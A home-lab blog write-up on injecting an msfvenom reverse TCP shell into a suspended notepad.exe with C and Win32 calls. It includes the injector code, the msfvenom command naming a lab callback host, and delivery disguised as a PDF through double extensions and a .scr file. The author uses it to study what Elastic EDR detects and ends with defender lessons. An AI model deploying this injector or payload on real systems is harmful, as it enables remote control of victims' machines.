Injecting a TCP Reverse Shell into Notepad.exe

Below is the video accompanying this write-up, of my development and deployment of an msfvenom TCP reverse shell into Notepad.exe

Reverse TCP Shell Injected into Notepad.exe in Elastic Environment

Intro

Throughout my security career I had seen alerts such as “process hollowing”, “process injection”, and “execution from an unbacked memory region.” While I could conceptually understand what these meant, until now I had not engaged in this red team exercise myself.

In my lab I created a malicious executable as an experiment in the C programming language and Windows API. I wanted to learn the nuances of the Windows API so when analyzing process call stack traces, and API calls hooked by EDR solutions, I had a better conceptual idea of what had occurred.

I created a compiled portable executable which spawns notepad.exe, injecting a TCP reverse shell that calls back to my kali Linux box. This was deployed as a file with double extensions relying on the default behavior of Windows to hide file extensions, hiding as a PDF. I elected to compile this to a .SCR, a Windows screensaver file, that acts nearly identically to a .EXE executable, although the compilation and hashes differ.

Included here is a breakdown of the code, and my lessons learned when deploying.

The Methodology

Often times attackers will launch malicious payloads in the memory spaces of other benign Windows processes. This gives the attacker some distinct defense evasion advantages, such as process hash masquerading, and file naming and path evasion. In this experiment to better understand these alerts, we will begin by creating a sacrificial process, notepad.exe. Next we will open the process via process ID, allocate the memory, and create a remote thread. This will be achieved via the Windows API, and the injection observed in the Elastic security SIEM.

The Code

All code available on my github:

https://github.com/Isugg/WindowsProcInjection1/tree/main

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

We begin by including the header files for standard IO, standard library, and the Windows API. This is about as minimal as I can get while still keeping C a high level language. Next we define the payload as an array of unsigned character data types. This will be an array of raw hex bytes that stores our shellcode.

unsigned char my_payload[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef"
"\xff\xff\xff\x48\xbb\xbe\xa0\x59\x1d\x9c\x9b\x87\x20\x48"
...
"\x72\xf6\x9b\xde\x61\x37\x7a\xa6\xc8\x9c\x9b\x87\x20";

This was the shell code output from msfvenom when leveraged in Kali Linux with the following options:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.127 LPORT=1234 -f c -b '\x00'

-p windows/x64/shell_reverse_tcp: This is the platform Windows for the x64 bit architechture and a reverse TCP shell payload. Note this is not the windows/meterpreter/x64/shell… as all the payloads in the meterpreter directory meterpreter as a listener.
LHOST=10.0.0.127: This is just the IP address of my Kali box where I will run my netcat listener
LPORT=1234: This is the port I will listen on.
-f c: format as an unsigned c char array
-b ‘\x00’: so-called ‘bad bytes’ or bytes to avoid. I am avoiding null bytes here as they were causing issues.

Moving on from here, we have the main function

int main(){
...
return 0;
}

This is as basic as you can get in C, and will suffice for our experimentation. After this function definition, we grab a handle to the current window, and hide it by passing SW_HIDE. This has the effect of flashing a console window to the user, but otherwise not displaying anything to the user, and giving them no window to close. Next up we define a few variables for the process handle, remote thread, process ID, startup information, and process information.

HANDLE ph;
HANDLE rt;
DWORD pid;


STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi = {0};

The two HANDLEs here are structs from the Windows header and will be used to virtually allocate and start the remote memory. The startup info and process info variables also get defined here, so we may pass the address of these variables to the create process function used next.

  CreateProcess(
    "C:\\Windows\\System32\\Notepad.exe",
    NULL, //Command-Line
    NULL, NULL, //process and thread attributes
    FALSE, //inherit handles - bool
    CREATE_SUSPENDED, //creation flags
    NULL, NULL, //environment block and working directory
    &si, &pi //memory location of startup and process information
);

This is the CreateProcess function from the Win32 API – A well documented function used to interact with Windows, system calls, and the kernel. I won’t bother going over all the parameters, however you can read more about it here! We should simply care about the first parameter, creation flags, and last two. The first being the name of the application name, for our sacrificial process, this will be notepad.exe, but could be anything. The creation flags give options for how the process should start, the full list of which can be found here however for our case, we’ll take a look at CREATE_SUSPENDED (0x00000004). This option does not immediately start execution flow of our thread, and allows us to start execution flow where we inject our payload. First, we need to get a handle to our newly spawned process. We’ll do this by passing the ProcessId DWORD now populated in the process information struct previously defined and filled out by CreateProcess.

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId);

Using this process handle, we can then virtually allocate a portion of the memory region as executable and writeable. As a side note, this is so extremely abnormal, that even malware has evolved to first allocate the memory as writeable, next writing the payload, before removing write rights and allocating executable rights.

LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

We also have defined a void pointer rb that contains the address of the new memory region. We need to pass this memory location to WriteProcessMemory, as well as the process handle, data to write, and size of the data.

WriteProcessMemory(ph, rb, my_payload, sizeof(my_payload), NULL);

After writing, the only things left are to start the remote thread, starting execution of our payload, and clean up our program.

  rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
  CloseHandle(ph);

  return 0;
}

Compilation

This code is C interacting with the Windows API, that means it needs to be compiled. With the latest version of WSL, I can use gcc on my development machine to compile the code to a portable executable. I compiled the portable executable to a .scr file, in the hopes of further evading defenses. This really didn’t do anything, which is good. Both .scr and .exe files have the magic bytes 4D 5A, or MZ, indicating a portable executable. However, this may defeat the most juvenile of EDR checks. More interestingly, I think is that file extension opens are handled by “verb” defined by file associations, and both .SCRs and .EXEs are invoked with CreateProcess by Windows explorer. Despite this .DLL files, while still being portable executables with the SAME magic bytes, are invoked by calling RunDll first.

Elastic Security

Well, it wasn’t happy.

While I was expecting some big “Process Injection” alerts or anything observing the process memory, of the newly spawned notepad, I unfortunately was only alerted to malicious file being written to disk. Upon further exploration, it appears memory threat protection is a “Platinum Feature.”

This is not to say the security solution was useless in identifying the process injection, as we can see below, we do see the suspicious spawning and actions of notepad.exe.

Using the PID to search for a file hash, we can similarly identify this is the legitimate notepad.exe process that has been injected, hollowed, or otherwise co-opted. Another sidenote here, notepad.exe rarely needs to make network connection outside of possibly accessing .txt files on network shares. The process is updated through Windows updates, unlike notepad++. This says nothing of the hostname, whoami, and ipconfig processes. Any analyst that seems something like the above, should immediately engage IR.

Conclusion:

While this was an extremely interesting exercise in defense evasion, I ultimately was unable to see how my EDR solution would react to an in-memory detection. What it was able to detect was the compiled binary, before even executing. This is likely due to my interaction with the Windows API, this is a fairly naive and rudimentary process injection approach. While Elastic defend was in detect mode, and registered as an anti-virus, I was able to achieve execution. Had file events been turned off, this execution would likely have gone entirely unnoticed.

Lessons Learned:

  • .SCR and .EXE files behave nearly identically from the user level as a malware delivery mechanism.
  • Elastic memory detections are a paid feature 🙁
  • Windows system binaries should be monitored for suspicious child processes as they are a common target for sacrificial process spawning and injecting
  • When developing malware, obfuscation of the Win32 API interactions is paramount, as EDRs and reverse engineers rely heavily on import tables, the metadata for compiled binaries.
    • Adding to this, my malware is all of like 150kb and the only imported functions are the exact ones needed to do process injection? Yeah that should set off some flags…